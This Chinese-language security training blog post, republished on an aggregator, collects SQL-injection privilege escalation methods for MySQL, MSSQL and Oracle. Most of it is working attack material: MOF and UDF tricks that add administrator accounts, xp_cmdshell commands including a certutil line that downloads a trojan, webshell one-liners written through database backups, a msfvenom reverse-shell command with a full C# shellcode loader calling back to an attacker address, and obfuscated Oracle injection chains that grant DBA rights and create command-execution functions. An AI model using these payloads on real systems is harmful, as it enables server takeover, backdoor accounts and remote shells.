合集SQL注入提权

Posted 掌控安全EDU

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了合集SQL注入提权相关的知识,希望对你有一定的参考价值。

高质量的安全文章,安全offer面试经验分享

尽在 # 掌控安全EDU #


一.前言



SQL注入是我们最常见的漏洞,其根本的核心就是用户输入的数据会被当做SQL代码执行。

SQL语言比较灵活,而且不同数据库又有不同区别,常见的就有mysql、MSSQL、Oracle、Access等,本文会不断地更新,渐渐的补全。

二.Mysql篇

Windos提权

1.MOF提权

MOF提权-使用范围

Windows Server 2003/XP 等 Windows低版本

MOF提权-需要权限

必须要有导出权限

MOF提权-原理

mof是Windows系统的一个文件,位于c:/windows/system32/wbem/mof/nullevt.mof,叫做托管对象格式, 它的作用是每隔5秒,就会去监控进程的创建和死亡。

mof提权的简单利用过程就是,拥有了MySQL的root权限 后,使用root权限去执行上传操作,将我们重新改写过的mof文件上传,之后,这个文件会被服务器每隔5秒 以system权限执行。

这个改写的mof中,有一段是vbs脚本,这个vbs大多数是cmd的添加管理员用户的命令。

Mof 文件怎么书写?

文字排版实在是太难了,我就贴图片了,这个内容我会放附件给你们


其中的关键就在于第17的net.exe user secist 123 /add,这句是用来创建一个用户名为secist,密码为123的用户。

创建成功后,再将这句命令改为“net.exe localgroup administrators admin /add”后,再次上传,达到创建admin用户并将其加入administrators组的目的。
【tisp:代码注意标点符号是否是中文】


MOF提权-实操

Windows Server 2003R2上面搭建这BlueCms,用户注册,登录成功后,通过上传头像,然后将我们要用到的mof文件后缀改为1.jpg上传


然后通过扫描目录,我们发现这个网站有phpmyadmin目录,访问了一下,显示PHP版本过低,发现要PHP高于5.5才能使用Phpmyadmin,

本地测试了一下,Windows 2003 根本不支持PHP5.4以上版本,

不过不负有心人,我发现他有adminer.php文件。

也是WEB的数据库管理工具。

然后查看了一下这个数据库,居然开启了导出的权限。
如果本地测试的小伙伴没有开启的话,可以去数据库的my.ini的最后加入这句话,然后重启Mysql
加入my.ini的语句:secure_file_priv =

那么我们只要简单的执行导出语句就可以,先用load_file读取前面上传上来的文件内容,然后再导出到c:/windows/system32/wbem/mof/nullevt.mof。


语句:
selectload_file(“D:/phpstudy/www/bluecms/uploads/data/upload/face_pic/15905196234.jpg”) into dumpfile “c:/windows/system32/wbem/mof/kkk.mof”

【合集】SQL注入提权

【合集】SQL注入提权

再次上传一个mof文件,然后在执行命令的地方,把添加用户改为,提升用户权限,mof这里是system权限的,所以可以直接提上来。

那是否能尝试,在没有上传点的情况下达成这样的攻击?


那么我想到的就是直接写在adminer直接导出,但是我估计有些符号会影响语句,Mysql支持16进制,应该可以先转16进制,然后用Into dumpfile导出

字符转16进制:https://www.bejson.com/convert/ox2str/

我们尝试了,但是遇到了困难,因为16进制解码写入后,所有的代码都会糊在一起,不再会换行了。

如果没有想错的话就是16进制转换的时候没有加上换行,但是这里转换复杂,而且发现一个换行是由一个回车+一个换行符组成

为了更偷懒,我直接转化为了纯char写入

【合集】SQL注入提权

执行成功后,查看用户很明显添加了进去,所以只要我们能导入都可以

【合集】SQL注入提权

2.Udf提权

Udf提权-使用范围

无版本要求,只和Mysql有关,与服务器版本无关

Udf提权-需要权限

必须要有导出权限,且用户必须root权限


Udf提权-原理

UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。

用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。

通过加载dll文件扩展,我们可以让Mysql去做一切事情。

通过上传可以调用系统命令的Dll扩展,然后设置好自定义函数,然后使用函数执行命令。

需要上传的dll文件会在附件中提供


Udf提权-实战

在讲解实战前,我们先来讲解下

如果mysql版本>5.1,udf.dll文件必须放置在mysql安装目录下的libplugin

如果mysql版本<5.1,udf.dll文件在system32目录下

我们怎么去获取Dll文件,其实Sqlmap中就有
sqlmap目录下的 dataudfmysqlwindows64lib_mysqludf_sys.dll文件
当然你目标如果是32位的那么要选择32位的。

我们来尝试一下最简单的方法,通过Webshell直接上传到该目录然后执行命令。

这里所指的是网站低权限运行,但是数据库高权限运行,在IIS作为中间件的时候 比较常见。


三.MSSQL篇

1.执行系统命令

判断开启

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

【合集】SQL注入提权
结果为1表示开启
可以用盲注语句判断

and (select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell')=1

注意:执行系统指令属于堆叠查询,而且没有回显

select * from users where id =1 exec master..xp_cmdshell whoami

【合集】SQL注入提权
所以可以尝试直接创建账号等指令,如果不能使用堆叠查询,可以使用盲注辅助

1.if 1=1 execute('exec xp_cmdshell whoami');

2.select * from users where id =1 and 1=2 if 1=1 execute('exec master..xp_cmdshell whoami');


写文件,注意,会把原来的文件内容覆盖掉

exec master..xp_cmdshell "echo 这是个木马>d:\2.txt"


注意:如果echo 里面的字符有引号和其他符号,那么我们就要在引号前面加一个 ^ 来转义它!记得用单引号包裹里面的一句话!
【合集】SQL注入提权
执行EXE程序-这是个错误的案例

exec master..xp_cmdshell 'C:WINDOWSsystem32
otepad.exe'

不能执行用户交互的命令,比如,执行记事本这种需要用户录入,关闭等操作的程序,就会挂死程序,此外,弹窗的也不行,适合配合其他操作或者下面命令的使用。
``
exec master..xp_cmdshell “certutil -urlcache -split -f http://服务器/木马.exe 木马.exe” —

无杂质写入文件

exec sp_configure 'show advanced options',1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures',1;
RECONFIGURE WITH OVERRIDE;

【合集】SQL注入提权

declare @ob int;
exec sp_oacreate 'adodb.stream',@ob output;
exec sp_oasetproperty @ob,'type',1;
exec sp_oamethod @ob,'open';
exec sp_oamethod @ob,'write',null,0x3c3f70687020706870696e666f28293b3f3e;
exec sp_oamethod @ob,'savetofile',null,'c: est66.txt',2;
exec sp_oamethod @ob,'close';
exec sp_oadestroy @ob;[object Object]

2.操作注册表

直接修改注册表,关闭防火墙,开个3389都可以的
读取远程桌面端口

【合集】SQL注入提权

3.备份文件写shell

日志备份

create table cmd (a image)
backup log test to disk = 'c:/1.bak' with init
insert into cmd (a) values ('<%@ Page Language="Jscript"%><%eval(Request.Item["cc"],"unsafe");%>')
backup log test to disk = 'c:saul.aspx'
drop table cmd

文件备份

exec sp_makewebtask 'D:mssqlp2.asp','<%Execute(request("MH"))%>'

注意,路径和内容要用16进制

declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c002500450078006500630075007400650028007200650071007500650073007400280022004d00480022002900290025003e000d000a002700;exec sp_makewebtask 0x44003a005c006d007300730071006c005c00700032002e00610073007000, @s;

差异备份
理论而言只会把不同的内容进行备份,但测试时有偏差

backup database test to disk = 'c:2.bak'
create table [dbo].[test] ([cmd] [image]);
insert into test(cmd) values('<%@ Page Language="Jscript"%><%eval(Request.Item["cc"],"unsafe");%>')--
backup database test to disk='c:2.aspx' WITH DIFFERENTIAL,FORMAT;

4.clr

【合集】SQL注入提权
msf执行

Msfvenom -p windows / meterpreter / reverse_tcp LHOST = 192.168.139.129 LPORT = 4444 EXITFUNC = none -f csharp --platform windows
【合集】SQL注入提权
构造

using System;
using System.IO;
using System.Runtime.InteropServices;
namespace Meterpreter_Test2
{
 class Program
 {
 static void Main(string[] args)
 {
 //RunMeterpreter("192.168.139.129", "4444");
 //var str = Convert.ToString(Console.ReadLine());
 }
 public static void RunMeterpreter(string ip, string port)
 {
 try
 {
 byte[] buf = new byte[323]
 {
 0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,
 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,
 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52,
 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,
 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b,
 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03,
 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b,
 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,
 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb,
 0x8d, 0x5d, 0x68, 0x33, 0x32, 0x00, 0x00, 0x68, 0x77, 0x73, 0x32, 0x5f, 0x54, 0x68, 0x4c,
 0x77, 0x26, 0x07, 0xff, 0xd5, 0xb8, 0x90, 0x01, 0x00, 0x00, 0x29, 0xc4, 0x54, 0x50, 0x68,
 0x29, 0x80, 0x6b, 0x00, 0xff, 0xd5, 0x6a, 0x05, 0x68, 0xc0, 0xa8, 0x8b, 0x81, 0x68, 0x02,
 0x00, 0x11, 0x5c, 0x89, 0xe6, 0x50, 0x50, 0x50, 0x50, 0x40, 0x50, 0x40, 0x50, 0x68, 0xea,
 0x0f, 0xdf, 0xe0, 0xff, 0xd5, 0x97, 0x6a, 0x10, 0x56, 0x57, 0x68, 0x99, 0xa5, 0x74, 0x61,
 0xff, 0xd5, 0x85, 0xc0, 0x74, 0x0a, 0xff, 0x4e, 0x08, 0x75, 0xec, 0xe8, 0x61, 0x00, 0x00,
 0x00, 0x6a, 0x00, 0x6a, 0x04, 0x56, 0x57, 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x83,
 0xf8, 0x00, 0x7e, 0x36, 0x8b, 0x36, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x56, 0x6a,
 0x00, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0x53, 0x6a, 0x00, 0x56, 0x53, 0x57,
 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x83, 0xf8, 0x00, 0x7d, 0x22, 0x58, 0x68, 0x00,
 0x40, 0x00, 0x00, 0x6a, 0x00, 0x50, 0x68, 0x0b, 0x2f, 0x0f, 0x30, 0xff, 0xd5, 0x57, 0x68,
 0x75, 0x6e, 0x4d, 0x61, 0xff, 0xd5, 0x5e, 0x5e, 0xff, 0x0c, 0x24, 0xe9, 0x71, 0xff, 0xff,
 0xff, 0x01, 0xc3, 0x29, 0xc6, 0x75, 0xc7, 0xc3
 };
 var ipOctetSplit = ip.Split('.');
 byte octByte1 = Convert.ToByte(ipOctetSplit[0]);
 byte octByte2 = Convert.ToByte(ipOctetSplit[1]);
 byte octByte3 = Convert.ToByte(ipOctetSplit[2]);
 byte octByte4 = Convert.ToByte(ipOctetSplit[3]);
 int inputPort = Int32.Parse(port);
 byte port1Byte = 0x00;
 byte port2Byte = 0x00;
 if (inputPort > 256)
 {
 int portOct1 = inputPort / 256;
 int portOct2 = portOct1 * 256;
 int portOct3 = inputPort - portOct2;
 int portoct1Calc = portOct1 * 256 + portOct3;
 if (inputPort == portoct1Calc)
 {
 port1Byte = Convert.ToByte(portOct1);
 port2Byte = Convert.ToByte(portOct3);
 }
 }
 else
 {
 port1Byte = 0x00;
 port2Byte = Convert.ToByte(inputPort);
 }
 buf[174] = octByte1;
 buf[175] = octByte2;
 buf[176] = octByte3;
 buf[177] = octByte4;
 buf[181] = port1Byte;
 buf[182] = port2Byte;
 UInt32 funcAddr = VirtualAlloc(0, (UInt32)buf.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 Marshal.Copy(buf, 0, (IntPtr)(funcAddr), buf.Length);
 IntPtr hThread = IntPtr.Zero;
 UInt32 threadId = 0;
 IntPtr pinfo = IntPtr.Zero;
 hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
 WaitForSingleObject(hThread, 0xFFFFFFFF);
 return;
 }
 catch (Exception e)
 {
 Console.WriteLine(e);
 throw;
 }
 }
 private static UInt32 MEM_COMMIT = 0x1000;
 private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
 [DllImport("kernel32")]
 private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
 [DllImport("kernel32")]
 private static extern IntPtr CreateThread(UInt32 lpThreadAttributes,UInt32 dwStackSize,UInt32 lpStartAddress,IntPtr param,UInt32 dwCreationFlags,ref UInt32 lpThreadId);
 [DllImport("kernel32")]
 private static extern UInt32 WaitForSingleObject(IntPtr hHandle,UInt32 dwMilliseconds);
 }
}


生成

右键-新建程序集

选择无限制
【合集】SQL注入提权
数据库中执行

CREATE PROCEDURE [dbo].[取个名]@cmd NVARCHAR (MAX)AS EXTERNAL NAME [cli].[StoredProcedures].[取个名]go

然后执行exec dbo.取个名

四.Oracle篇

命令执行

(一.)ORACLE DATABASE 10G ENTERPRISE EDITION RELEASE 10.2.0.1.0(该版本虚拟机丢失 之前测试成功)

1.提升TEST用户到dba权限 TEST用户名要大写

' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('foo','bar','DBMS_OUTPUT".PUT_LINE(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''grant dba to TEST''''; END;''; END;--', '', 0, '1', 0) from dual)=0--


2.创建Java包

' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('foo','bar','DBMS_OUTPUT".PUT_LINE(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "SasugaOracle" as import java.lang.*;import java.io.*;class SasugaOracle{public static String exec(String cmd){String ret="",tmp;try{BufferedReader reader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));while ((tmp=reader.readLine())!=null){ret+=tmp;}reader.close();}catch(Exception ex){ret=ex.toString();}return ret;}}''''; END;''; END;--', '', 0, '1', 0) from dual)=0--


3.赋予Java权限

' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''',''''''''execute''''''''); end;'''';END;'';END;--','SYS',0,'1',0) from dual)=0--


4.创建runcmd函数

' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function runcmd(cmd in varchar2) return varchar2 as language java name ''''''''SasugaOracle.exec(java.lang.String) return java.lang.String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual)=0--


5.赋予所有人执行权限

' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant execute on runcmd to public'''';END;'';END;--','SYS',0,'1',0) from dual)=0--


6.命令执行

' and 1=2 union select 1,sys.runcmd('cmd /c whoami'),2 from dual--

(二.)hacking Oracle Database 11.1.0.7.0 以及更低版本(The 11.2.0.1 April CPU patch fixes this)当前用户有dba权限

1.赋予SYSTEM Javasyspriv Only DBA can call this function

1.(select SYS.KUPP$PROC.CREATE_MASTER_PROCESS(begin execute immediate 'grant javasyspriv to SYSTEM';end;)from dual) is not null 

2.' AND (select SYS.KUPP$PROC.CREATE_MASTER_PROCESS(CHR(98)||CHR(101)||CHR(103)||CHR(105)||CHR(110)||CHR(32)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(117)||CHR(116)||CHR(101)||CHR(32)||CHR(105)||CHR(109)||CHR(109)||CHR(101)||CHR(100)||CHR(105)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(39)||CHR(103)||CHR(114)||CHR(97)||CHR(110)||CHR(116)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(115)||CHR(121)||CHR(115)||CHR(112)||CHR(114)||CHR(105)||CHR(118)||CHR(32)||CHR(116)||CHR(111)||CHR(32)||CHR(83)||CHR(89)||CHR(83)||CHR(84)||CHR(69)||CHR(77)||CHR(39)||CHR(59)||CHR(101)||CHR(110)||CHR(100)||CHR(59))from dual) is not null--


2.创建javaexec包

1.' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace and resolve java source named "javaexec" as import java.lang.*;import java.io.*;public class javaexec{public static String Ecmd(String ss) throws IOException{BufferedReader mR= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(ss).getInputStream()));String st,str="";while ((st=mR.readLine()) != null) str += st+"
";mR.close();return str;}}'';commit; end;') from dual) where rownum=1--

2.' and (select dbms_xmlquery.newcontext(CHR(100)||CHR(101)||CHR(99)||CHR(108)||CHR(97)||CHR(114)||CHR(101)||CHR(32)||CHR(80)||CHR(82)||CHR(65)||CHR(71)||CHR(77)||CHR(65)||CHR(32)||CHR(65)||CHR(85)||CHR(84)||CHR(79)||CHR(78)||CHR(79)||CHR(77)||CHR(79)||CHR(85)||CHR(83)||CHR(95)||CHR(84)||CHR(82)||CHR(65)||CHR(78)||CHR(83)||CHR(65)||CHR(67)||CHR(84)||CHR(73)||CHR(79)||CHR(78)||CHR(59)||CHR(32)||CHR(98)||CHR(101)||CHR(103)||CHR(105)||CHR(110)||CHR(32)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(117)||CHR(116)||CHR(101)||CHR(32)||CHR(105)||CHR(109)||CHR(109)||CHR(101)||CHR(100)||CHR(105)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(39)||CHR(99)||CHR(114)||CHR(101)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(111)||CHR(114)||CHR(32)||CHR(114)||CHR(101)||CHR(112)||CHR(108)||CHR(97)||CHR(99)||CHR(101)||CHR(32)||CHR(97)||CHR(110)||CHR(100)||CHR(32)||CHR(114)||CHR(101)||CHR(115)||CHR(111)||CHR(108)||CHR(118)||CHR(101)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(32)||CHR(115)||CHR(111)||CHR(117)||CHR(114)||CHR(99)||CHR(101)||CHR(32)||CHR(110)||CHR(97)||CHR(109)||CHR(101)||CHR(100)||CHR(32)||CHR(34)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(34)||CHR(32)||CHR(97)||CHR(115)||CHR(32)||CHR(105)||CHR(109)||CHR(112)||CHR(111)||CHR(114)||CHR(116)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(46)||CHR(108)||CHR(97)||CHR(110)||CHR(103)||CHR(46)||CHR(42)||CHR(59)||CHR(105)||CHR(109)||CHR(112)||CHR(111)||CHR(114)||CHR(116)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(46)||CHR(105)||CHR(111)||CHR(46)||CHR(42)||CHR(59)||CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99)||CHR(32)||CHR(99)||CHR(108)||CHR(97)||CHR(115)||CHR(115)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(123)||CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99)||CHR(32)||CHR(115)||CHR(116)||CHR(97)||CHR(116)||CHR(105)||CHR(99)||CHR(32)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(32)||CHR(69)||CHR(99)||CHR(109)||CHR(100)||CHR(40)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(32)||CHR(115)||CHR(115)||CHR(41)||CHR(32)||CHR(116)||CHR(104)||CHR(114)||CHR(111)||CHR(119)||CHR(115)||CHR(32)||CHR(73)||CHR(79)||CHR(69)||CHR(120)||CHR(99)||CHR(101)||CHR(112)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(123)||CHR(66)||CHR(117)||CHR(102)||CHR(102)||CHR(101)||CHR(114)||CHR(101)||CHR(100)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(32)||CHR(109)||CHR(82)||CHR(61)||CHR(32)||CHR(110)||CHR(101)||CHR(119)||CHR(32)||CHR(66)||CHR(117)||CHR(102)||CHR(102)||CHR(101)||CHR(114)||CHR(101)||CHR(100)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(40)||CHR(110)||CHR(101)||CHR(119)||CHR(32)||CHR(73)||CHR(110)||CHR(112)||CHR(117)||CHR(116)||CHR(83)||CHR(116)||CHR(114)||CHR(101)||CHR(97)||CHR(109)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(40)||CHR(82)||CHR(117)||CHR(110)||CHR(116)||CHR(105)||CHR(109)||CHR(101)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(82)||CHR(117)||CHR(110)||CHR(116)||CHR(105)||CHR(109)||CHR(101)||CHR(40)||CHR(41)||CHR(46)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(40)||CHR(115)||CHR(115)||CHR(41)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(73)||CHR(110)||CHR(112)||CHR(117)||CHR(116)||CHR(83)||CHR(116)||CHR(114)||CHR(101)||CHR(97)||CHR(109)||CHR(40)||CHR(41)||CHR(41)||CHR(41)||CHR(59)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(32)||CHR(115)||CHR(116)||CHR(44)||CHR(115)||CHR(116)||CHR(114)||CHR(61)||CHR(34)||CHR(34)||CHR(59)||CHR(119)||CHR(104)||CHR(105)||CHR(108)||CHR(101)||CHR(32)||CHR(40)||CHR(40)||CHR(115)||CHR(116)||CHR(61)||CHR(109)||CHR(82)||CHR(46)||CHR(114)||CHR(101)||CHR(97)||CHR(100)||CHR(76)||CHR(105)||CHR(110)||CHR(101)||CHR(40)||CHR(41)||CHR(41)||CHR(32)||CHR(33)||CHR(61)||CHR(32)||CHR(110)||CHR(117)||CHR(108)||CHR(108)||CHR(41)||CHR(32)||CHR(115)||CHR(116)||CHR(114)||CHR(32)||CHR(43)||CHR(61)||CHR(32)||CHR(115)||CHR(116)||CHR(43)||CHR(34)||CHR(92)||CHR(110)||CHR(34)||CHR(59)||CHR(109)||CHR(82)||CHR(46)||CHR(99)||CHR(108)||CHR(111)||CHR(115)||CHR(101)||CHR(40)||CHR(41)||CHR(59)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(115)||CHR(116)||CHR(114)||CHR(59)||CHR(125)||CHR(125)||CHR(39)||CHR(59)||CHR(99)||CHR(111)||CHR(109)||CHR(109)||CHR(105)||CHR(116)||CHR(59)||CHR(32)||CHR(101)||CHR(110)||CHR(100)||CHR(59)) from dual) is not null--


3.创建javacmd函数

1.' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace function javacmd(p_filename in varchar2)return varchar2 as language java name ''''javaexec.Ecmd(java.lang.String)return String'''';''; commit; end;') from dual) where rownum=1--

2.' and (select dbms_xmlquery.newcontext(CHR(100)||CHR(101)||CHR(99)||CHR(108)||CHR(97)||CHR(114)||CHR(101)||CHR(32)||CHR(80)||CHR(82)||CHR(65)||CHR(71)||CHR(77)||CHR(65)||CHR(32)||CHR(65)||CHR(85)||CHR(84)||CHR(79)||CHR(78)||CHR(79)||CHR(77)||CHR(79)||CHR(85)||CHR(83)||CHR(95)||CHR(84)||CHR(82)||CHR(65)||CHR(78)||CHR(83)||CHR(65)||CHR(67)||CHR(84)||CHR(73)||CHR(79)||CHR(78)||CHR(59)||CHR(32)||CHR(98)||CHR(101)||CHR(103)||CHR(105)||CHR(110)||CHR(32)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(117)||CHR(116)||CHR(101)||CHR(32)||CHR(105)||CHR(109)||CHR(109)||CHR(101)||CHR(100)||CHR(105)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(39)||CHR(99)||CHR(114)||CHR(101)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(111)||CHR(114)||CHR(32)||CHR(114)||CHR(101)||CHR(112)||CHR(108)||CHR(97)||CHR(99)||CHR(101)||CHR(32)||CHR(102)||CHR(117)||CHR(110)||CHR(99)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(99)||CHR(109)||CHR(100)||CHR(40)||CHR(112)||CHR(95)||CHR(102)||CHR(105)||CHR(108)||CHR(101)||CHR(110)||CHR(97)||CHR(109)||CHR(101)||CHR(32)||CHR(105)||CHR(110)||CHR(32)||CHR(118)||CHR(97)||CHR(114)||CHR(99)||CHR(104)||CHR(97)||CHR(114)||CHR(50)||CHR(41)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(118)||CHR(97)||CHR(114)||CHR(99)||CHR(104)||CHR(97)||CHR(114)||CHR(50)||CHR(32)||CHR(97)||CHR(115)||CHR(32)||CHR(108)||CHR(97)||CHR(110)||CHR(103)||CHR(117)||CHR(97)||CHR(103)||CHR(101)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(32)||CHR(110)||CHR(97)||CHR(109)||CHR(101)||CHR(32)||CHR(39)||CHR(39)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(46)||CHR(69)||CHR(99)||CHR(109)||CHR(100)||CHR(40)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(46)||CHR(108)||CHR(97)||CHR(110)||CHR(103)||CHR(46)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(41)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(39)||CHR(39)||CHR(59)||CHR(39)||CHR(59)||CHR(32)||CHR(99)||CHR(111)||CHR(109)||CHR(109)||CHR(105)||CHR(116)||CHR(59)||CHR(32)||CHR(101)||CHR(110)||CHR(100)||CHR(59)) from dual) is not null--


4.命令执行

1.' and 1=2 union select 1,(select javacmd('whoami') from dual),'3' from dual--

2.'||utl_inaddr.get_host_name((select javacmd('ping 8.8.8.8') from dual))||'




回顾往期内容

【合集】SQL注入提权


扫码白嫖视频+工具+进群+靶场等资料


 


 扫码白嫖


 还有免费的配套靶场交流群哦!


以上是关于合集SQL注入提权的主要内容,如果未能解决你的问题,请参考以下文章

soap注入某sql2008服务器结合msf进行提权

以下代码片段是不是容易受到 Rails 5 中 SQL 注入的影响?

soap注入某sql2008服务器结合msf进行提权

ctf基于python脚本的sql注入合集(持续更新)

从sql注入到内网

数据库注入提权总结